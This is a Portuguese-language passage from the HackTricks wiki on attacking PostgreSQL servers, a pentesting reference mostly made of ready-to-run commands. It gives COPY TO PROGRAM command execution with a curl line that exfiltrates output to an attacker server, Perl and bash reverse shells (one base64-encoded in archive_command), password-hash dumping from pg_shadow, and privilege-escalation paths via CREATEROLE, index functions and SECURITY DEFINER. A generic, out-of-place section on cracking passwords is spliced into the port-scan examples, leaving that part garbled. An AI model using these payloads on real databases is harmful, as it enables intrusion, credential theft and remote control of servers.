hacktricks/network-services-pentesting/pentesting-postgresql.md

# 5432,5433 - Pentesting Postgresql

![](<../.gitbook/assets/image (9) (1) (2).png>)

\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## **Informações Básicas**

**PostgreSQL** é um sistema de banco de dados objeto-relacional de código aberto que usa e estende a linguagem SQL.

**Porta padrão:** 5432, e se esta porta já estiver em uso, parece que o postgresql usará a próxima porta (provavelmente 5433), que não está em uso.
```
PORT     STATE SERVICE
5432/tcp open  pgsql
```
## Conectar
```bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
```

```sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
Select user;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;

# Get history of commands executed
\s
```
Para mais informações sobre **como abusar de um banco de dados PostgreSQL**, confira:

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/" %}
[postgresql-injection](../pentesting-web/sql-injection/postgresql-injection/)
{% endcontent-ref %}

## Enumeração
```
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
```
### [**Força bruta**](../generic-methodologies-and-resources/brute-force.md#postgresql)

### **Varredura de porta**

De acordo com [**esta pesquisa**](https://www.exploit-db.com/papers/13084), quando uma tentativa de conexão falha, o `dblink` lança uma exceção `sqlclient_unable_to_establish_sqlconnection` incluindo uma explicação do erro. Exemplos desses detalhes estão listados abaixo.
```sql
SELECT * FROM dblink_connect('host=1.2.3.4
                              port=5678
                              user=name
                              password=secret
                              dbname=abc
                              connect_timeout=10');
```
* Host está inativo

`DETALHE: não foi possível conectar ao servidor: Nenhuma rota para o host. O servidor está em execução no host "1.2.3.4" e aceitando conexões TCP/IP na porta 5678?`

* A porta está fechada
```
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
* A porta está aberta
```
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request
```
Descobrindo senhas do PostgreSQL
===============================

O PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto. É amplamente utilizado em aplicativos da web e é conhecido por sua segurança. No entanto, como em qualquer sistema, existem vulnerabilidades que podem ser exploradas. Nesta seção, veremos algumas técnicas para descobrir senhas do PostgreSQL.

### Verificando senhas fracas

A primeira técnica que podemos usar é verificar senhas fracas. Muitas vezes, os usuários escolhem senhas fracas que são fáceis de adivinhar. Podemos usar ferramentas como o Hydra para verificar senhas fracas. O Hydra é uma ferramenta de força bruta que pode ser usada para testar senhas em vários serviços, incluindo o PostgreSQL.

Para usar o Hydra para testar senhas do PostgreSQL, podemos usar o seguinte comando:

```
hydra -L <userlist> -P <wordlist> <ip> postgres
```

### Explorando vulnerabilidades

Outra técnica que podemos usar é explorar vulnerabilidades no PostgreSQL. Existem várias vulnerabilidades conhecidas no PostgreSQL que podem ser exploradas para obter acesso não autorizado. Algumas dessas vulnerabilidades incluem:

- SQL Injection
- Buffer Overflow
- Cross-Site Scripting (XSS)

Para explorar essas vulnerabilidades, podemos usar ferramentas como o Metasploit Framework. O Metasploit Framework é uma ferramenta de teste de penetração que pode ser usada para explorar vulnerabilidades em vários sistemas, incluindo o PostgreSQL.

### Usando credenciais vazadas

Finalmente, podemos usar credenciais vazadas para acessar o PostgreSQL. Muitas vezes, as pessoas reutilizam senhas em vários serviços. Isso significa que, se uma senha for vazada em um serviço, ela pode ser usada para acessar outros serviços nos quais a mesma senha é usada.

Podemos usar sites como o Have I Been Pwned para verificar se as credenciais foram vazadas. Se as credenciais foram vazadas, podemos tentar usá-las para acessar o PostgreSQL.

Conclusão
=========

Descobrir senhas do PostgreSQL pode ser um desafio, mas existem várias técnicas que podemos usar para obter acesso não autorizado. Verificar senhas fracas, explorar vulnerabilidades e usar credenciais vazadas são algumas das técnicas que podemos usar. É importante lembrar que a exploração de vulnerabilidades sem autorização é ilegal e pode resultar em consequências graves.
```
DETAIL:  FATAL:  password authentication failed for user "name"
```
* Porta está aberta ou filtrada
```
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
Infelizmente, não parece haver uma maneira de obter os detalhes da exceção dentro de uma função PL/pgSQL. Mas você pode obter os detalhes se puder se conectar diretamente ao servidor PostgreSQL. Se não for possível obter nomes de usuário e senhas diretamente das tabelas do sistema, o ataque de lista de palavras descrito na seção anterior pode ser bem-sucedido.

## Enumeração de Privilégios

### Funções

| Tipos de Funções |                                                                                                                                                      |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper       | A função tem privilégios de superusuário                                                                                                                        |
| rolinherit     | A função herda automaticamente os privilégios das funções das quais é membro                                                                                    |
| rolcreaterole  | A função pode criar mais funções                                                                                                                           |
| rolcreatedb    | A função pode criar bancos de dados                                                                                                                            |
| rolcanlogin    | A função pode fazer login. Ou seja, essa função pode ser dada como identificador de autorização de sessão inicial                                                     |
| rolreplication | A função é uma função de replicação. Uma função de replicação pode iniciar conexões de replicação e criar e excluir slots de replicação.                           |
| rolconnlimit   | Para funções que podem fazer login, isso define o número máximo de conexões simultâneas que essa função pode fazer. -1 significa sem limite.                                 |
| rolpassword    | Não é a senha (sempre lida como `********`)                                                                                                        |
| rolvaliduntil  | Hora de expiração da senha (usada apenas para autenticação de senha); nulo se não houver expiração                                                                  |
| rolbypassrls   | A função ignora todas as políticas de segurança de nível de linha, consulte [Seção 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) para obter mais informações. |
| rolconfig      | Padrões específicos da função para variáveis de configuração em tempo de execução                                                                                          |
| oid            | ID da função                                                                                                                                           |

#### Grupos Interessantes

* Se você é membro de **`pg_execute_server_program`** você pode **executar** programas
* Se você é membro de **`pg_read_server_files`** você pode **ler** arquivos
* Se você é membro de **`pg_write_server_files`** você pode **escrever** arquivos

{% hint style="info" %}
Observe que no Postgres um **usuário**, um **grupo** e uma **função** são **os mesmos**. Isso depende apenas de **como você os usa** e se você **permite que eles façam login**.
{% endhint %}
```sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT 
      r.rolname, 
      r.rolsuper, 
      r.rolinherit,
      r.rolcreaterole,
      r.rolcreatedb,
      r.rolcanlogin,
      r.rolbypassrls,
      r.rolconnlimit,
      r.rolvaliduntil,
      r.oid,
  ARRAY(SELECT b.rolname
        FROM pg_catalog.pg_auth_members m
        JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
        WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error: 
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
```
### Tabelas
```sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
```
### Funções
```sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
    LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;
```
## Ações do sistema de arquivos

### Ler diretórios e arquivos

A partir deste [**commit**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a), membros do grupo definido **`DEFAULT_ROLE_READ_SERVER_FILES`** (chamado **`pg_read_server_files`**) e **super usuários** podem usar o método **`COPY`** em qualquer caminho (verifique `convert_and_check_filename` em `genfile.c`):
```sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
```
{% hint style="warning" %}
Lembre-se de que se você não é um superusuário, mas tem permissões **CREATEROLE**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_read_server_files TO username;
```
[**Mais informações.**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}

Existem **outras funções do postgres** que podem ser usadas para **ler arquivos ou listar um diretório**. Somente **superusuários** e **usuários com permissões explícitas** podem usá-las:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
Você pode encontrar **mais funções** em [https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)

### Escrita Simples de Arquivos

Apenas **super usuários** e membros de **`pg_read_server_files`** podem usar o comando copy para escrever arquivos.
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% hint style="warning" %}
Lembre-se de que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_write_server_files TO username;
```
[**Mais informações.**](pentesting-postgresql.md#escalada-de-privilégios-com-createrole)
{% endhint %}

Lembre-se de que o COPY não pode lidar com caracteres de nova linha, portanto, mesmo se você estiver usando uma carga útil base64, **você precisa enviar um comando em uma linha**.\
Uma limitação muito importante dessa técnica é que **`copy` não pode ser usado para gravar arquivos binários, pois modifica alguns valores binários.**

### **Upload de arquivos binários**

No entanto, existem **outras técnicas para fazer upload de grandes arquivos binários:**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md" %}
[big-binary-files-upload-postgresql.md](../pentesting-web/sql-injection/postgresql-injection/big-binary-files-upload-postgresql.md)
{% endcontent-ref %}

## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">

**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!

{% embed url="https://go.intigriti.com/hacktricks" %}

## RCE

### **RCE para programa**

Desde a [versão 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html), apenas **super usuários** e membros do grupo **`pg_execute_server_program`** podem usar o copy para RCE (exemplo com exfiltração:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
Exemplo de execução:
```bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
Lembre-se de que se você não é um superusuário, mas tem permissões **`CREATEROLE`**, você pode **se tornar membro desse grupo:**
```sql
GRANT pg_execute_server_program TO username;
```
[**Mais informações.**](pentesting-postgresql.md#escalada-de-privilégios-com-createrole)
{% endhint %}

Ou use o módulo `multi/postgres/postgres_copy_from_program_cmd_exec` do **metasploit**.\
Mais informações sobre essa vulnerabilidade [**aqui**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5). Embora relatado como CVE-2019-9193, o Postges declarou que isso era um [recurso e não seria corrigido](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/).

### RCE com Linguagens PostgreSQL

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}

### RCE com extensões PostgreSQL

Depois de **aprender** com o post anterior **como fazer upload de arquivos binários**, você pode tentar obter **RCE fazendo upload de uma extensão postgresql e carregando-a**.

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}

### RCE no arquivo de configuração do PostgreSQL

O **arquivo de configuração** do postgresql é **gravável** pelo **usuário postgres**, que é o que executa o banco de dados, então como **superusuário** você pode gravar arquivos no sistema de arquivos e, portanto, pode **sobrescrever este arquivo**.

![](<../.gitbook/assets/image (303).png>)

#### **RCE com ssl\_passphrase\_command**

O arquivo de configuração tem alguns atributos interessantes que podem levar a RCE:

* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` Caminho para a chave privada do banco de dados
* `ssl_passphrase_command = ''` Se o arquivo privado estiver protegido por senha (criptografado), o postgresql **executará o comando indicado neste atributo**.
* `ssl_passphrase_command_supports_reload = off` **Se** este atributo estiver **ligado**, o **comando** executado se a chave estiver protegida por senha **será executado** quando `pg_reload_conf()` for **executado**.

Então, um invasor precisará:

1. **Dump da chave privada** do servidor
2. **Criptografar** a chave privada baixada:
   1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **Sobrescrever**
4. **Dump** da atual **configuração** do postgresql
5. **Sobrescrever** a **configuração** com a configuração de atributos mencionada:
   1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
   2. `ssl_passphrase_command_supports_reload = on`
6. Execute `pg_reload_conf()`

Ao testar isso, notei que isso só funcionará se o **arquivo de chave privada tiver privilégios 640**, for **propriedade do root** e do **grupo ssl-cert ou postgres** (para que o usuário postgres possa lê-lo) e estiver localizado em _/var/lib/postgresql/12/main_.

**Mais** [**informações sobre essa técnica aqui**](https://pulsesecurity.co.nz/articles/postgres-sqli)**.**

#### **RCE com archive\_command**

Outro atributo no arquivo de configuração que é explorável é `archive_command`.

Para isso funcionar, a configuração `archive_mode` deve ser `'on'` ou `'always'`. Se isso for verdade, poderíamos sobrescrever o comando em `archive_command` e forçá-lo a executar via as operações de WAL (write-ahead logging).

Os passos gerais são:

1. Verifique se o modo de arquivo está habilitado: `SELECT current_setting('archive_mode')`
2. Sobrescreva `archive_command` com a carga útil. Por exemplo, um shell reverso: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. Recarregue a configuração: `SELECT pg_reload_conf()`
4. Force a operação WAL a ser executada, o que chamará o comando de arquivo: `SELECT pg_switch_wal()` ou `SELECT pg_switch_xlog()` para algumas versões do Postgres

**Mais** [**informações sobre essa configuração e sobre WAL aqui**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**

## **Postgres Privesc**

### CREATEROLE Privesc

#### **Conceder**

De acordo com a [**documentação**](https://www.postgresql.org/docs/13/sql-grant.html): _Os papéis que têm o privilégio **`CREATEROLE`** podem **conceder ou revogar a associação em qualquer papel** que **não** seja um **superusuário**._

Portanto, se você tiver permissão **`CREATEROLE`**, poderá conceder a si mesmo acesso a outros **papéis** (que não são superusuários) que podem lhe dar a opção de ler e gravar arquivos e executar comandos:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;
```
#### Modificar Senha

Usuários com esse papel também podem **alterar** as **senhas** de outros **não-superusuários**:
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### Privesc para SUPERUSER

É bastante comum encontrar que **usuários locais podem fazer login no PostgreSQL sem fornecer nenhuma senha**. Portanto, uma vez que você tenha obtido **permissões para executar código**, você pode abusar dessas permissões para obter a função de **`SUPERUSER`**:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
Isso geralmente é possível devido às seguintes linhas no arquivo **`pg_hba.conf`**:
```bash
# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust
```
{% endhint %}

### **ALTER TABLE privesc**

Neste **writeup** é explicado como foi possível fazer **privesc** no Postgres GCP abusando do privilégio ALTER TABLE que foi concedido ao usuário.

Quando você tenta **tornar outro usuário proprietário de uma tabela**, você deve receber um **erro** impedindo isso, mas aparentemente o GCP deu essa **opção ao usuário postgres não-superusuário** no GCP:

<figure><img src="../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>

Unindo essa ideia com o fato de que quando os comandos **INSERT/UPDATE/ANALYZE** são executados em uma **tabela com uma função de índice**, a **função** é **chamada** como parte do comando com as **permissões do proprietário da tabela**. É possível criar um índice com uma função e dar permissões de proprietário a um **superusuário** sobre essa tabela e, em seguida, executar ANALYZE sobre a tabela com a função maliciosa que será capaz de executar comandos porque está usando as permissões do proprietário.
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context); 
SetUserIdAndSecContext(onerel->rd_rel->relowner, 
                       save_sec_context | SECURITY_RESTRICTED_OPERATION); 
```
#### Exploração

1. Crie uma nova tabela.
2. Insira algum conteúdo fictício na tabela, para que a função de índice tenha algo para trabalhar.
3. Crie uma função de índice maliciosa (com nossa carga útil de execução de código) na tabela.
4. ALTERE o proprietário da tabela para cloudsqladmin, a função superusuário da GCP, usada apenas pelo Cloud SQL para manter e gerenciar o banco de dados.
5. ANALISE a tabela, forçando o mecanismo PostgreSQL a mudar o contexto do usuário para o proprietário da tabela (cloudsqladmin) e chamar a função de índice maliciosa com as permissões do cloudsqladmin, resultando na execução do nosso comando shell, para o qual não tínhamos permissão para executar antes.

No PostgreSQL, esse fluxo se parece com isso:
```sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);
 
INSERT INTO temp_table VALUES ('dummy content');
 
/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';
 
CREATE INDEX index_malicious ON public.temp_table (suid_function(data));
 
ALTER TABLE temp_table OWNER TO cloudsqladmin;
 
/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */ 
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';
 
ANALYZE public.temp_table;
```
Depois de executar a consulta SQL de exploração, a tabela `shell_commands_results` contém a saída do código executado:
```
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
```
### Login Local

Algumas instâncias mal configuradas do postgresql podem permitir o login de qualquer usuário local, é possível fazer login local a partir de 127.0.0.1 usando a função **`dblink`**:
```sql
\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
    port=5432
    user=someuser
    password=supersecret
    dbname=somedb',
    'Select usename,passwd from pg_shadow')
RETURNS (result TEXT);
```
{% hint style="warning" %}
Observe que, para a consulta anterior funcionar, **a função `dblink` precisa existir**. Se ela não existir, você pode tentar criá-la com o seguinte comando:
```sql
CREATE EXTENSION dblink;
```
{% endhint %}

Se você tem a senha de um usuário com mais privilégios, mas o usuário não tem permissão para fazer login de um IP externo, você pode usar a seguinte função para executar consultas como esse usuário:
```sql
SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                         'Select usename,passwd from pg_shadow')
                      RETURNS (result TEXT);
```
É possível verificar se essa função existe com:
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### Função definida pelo usuário com SECURITY DEFINER

Neste artigo, os pentesters conseguiram elevar privilégios dentro de uma instância do postgres fornecida pela IBM, porque encontraram esta função com a flag SECURITY DEFINER:

<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
    RETURNS text 
    LANGUAGE 'plpgsql' 
<strong>    VOLATILE SECURITY DEFINER 
</strong>    PARALLEL UNSAFE 
    COST 100 
     
AS $BODY$ 
                DECLARE 
                     persist_dblink_extension boolean; 
                BEGIN 
                    persist_dblink_extension := create_dblink_extension(); 
                    PERFORM dblink_connect(format('dbname=%s', db_name)); 
                    PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
                                               subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
                    PERFORM dblink_disconnect(); 
… 
</code></pre>

Como explicado na documentação, uma função com SECURITY DEFINER é executada com os privilégios do usuário que a possui. Portanto, se a função for vulnerável a injeção de SQL ou estiver realizando ações privilegiadas com parâmetros controlados pelo atacante, ela poderá ser abusada para elevar privilégios dentro do postgres.

Na linha 4 do código anterior, você pode ver que a função tem a flag SECURITY DEFINER.
```sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a 
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication 
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);
```
E então **execute comandos**:

<figure><img src="../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>

### Passar Burteforce com PL/pgSQL

PL/pgSQL, como uma **linguagem de programação completa**, permite muito mais controle procedural do que o SQL, incluindo a **capacidade de usar loops e outras estruturas de controle**. Declarações SQL e gatilhos podem chamar funções criadas na linguagem PL/pgSQL.\
**Você pode abusar dessa linguagem para pedir ao PostgreSQL que faça força bruta nas credenciais dos usuários.**

{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md" %}
[pl-pgsql-password-bruteforce.md](../pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
{% endcontent-ref %}

## **POST**
```
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
```
### registro

Dentro do arquivo _**postgresql.conf**_ você pode habilitar os registros do postgresql alterando:
```bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
```
Em seguida, **reinicie o serviço**.

### pgadmin

[pgadmin](https://www.pgadmin.org) é uma plataforma de administração e desenvolvimento para PostgreSQL.\
Você pode encontrar **senhas** dentro do arquivo _**pgadmin4.db**_.\
Você pode descriptografá-las usando a função _**decrypt**_ dentro do script: [https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py](https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py)
```bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
```
### pg\_hba

A autenticação do cliente é controlada por um arquivo de configuração frequentemente chamado _**pg\_hba.conf**_. Este arquivo possui um conjunto de registros. Um registro pode ter um dos sete formatos a seguir:

![](https://lh4.googleusercontent.com/Ff8YbD3ppYmN2Omp-4M-0AAVhLsr4c2i7d7HUjgkE-O6NZ5zbaST1hdMPrp1AL\_xTXJalYe0HYxUk76vWJUfHZ5GuCDvIL1A-sMV44Z0CYSVgLM9ttFTDu-BhzewBGc7FeMarTLqsu\_N1ztXJg)

**Cada** registro **especifica** um **tipo de conexão**, um **intervalo de endereços IP do cliente** (se relevante para o tipo de conexão), um **nome de banco de dados**, um **nome de usuário** e o **método de autenticação** a ser usado para conexões que correspondam a esses parâmetros. O **primeiro registro com uma correspondência** de tipo de conexão, endereço do cliente, banco de dados solicitado e nome de usuário **é usado** para realizar a autenticação. Não há "queda" ou "backup": **se um registro é escolhido e a autenticação falha, registros subsequentes não são considerados**. Se nenhum registro corresponder, o acesso é negado.\
Os métodos de autenticação baseados em **senha** são **md5**, **crypt** e **password**. Esses métodos operam de maneira semelhante, exceto pela forma como a senha é enviada pela conexão: respectivamente, hash MD5, criptografia crypt e texto claro. Uma limitação é que o método crypt não funciona com senhas que foram criptografadas em pg\_authid.

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
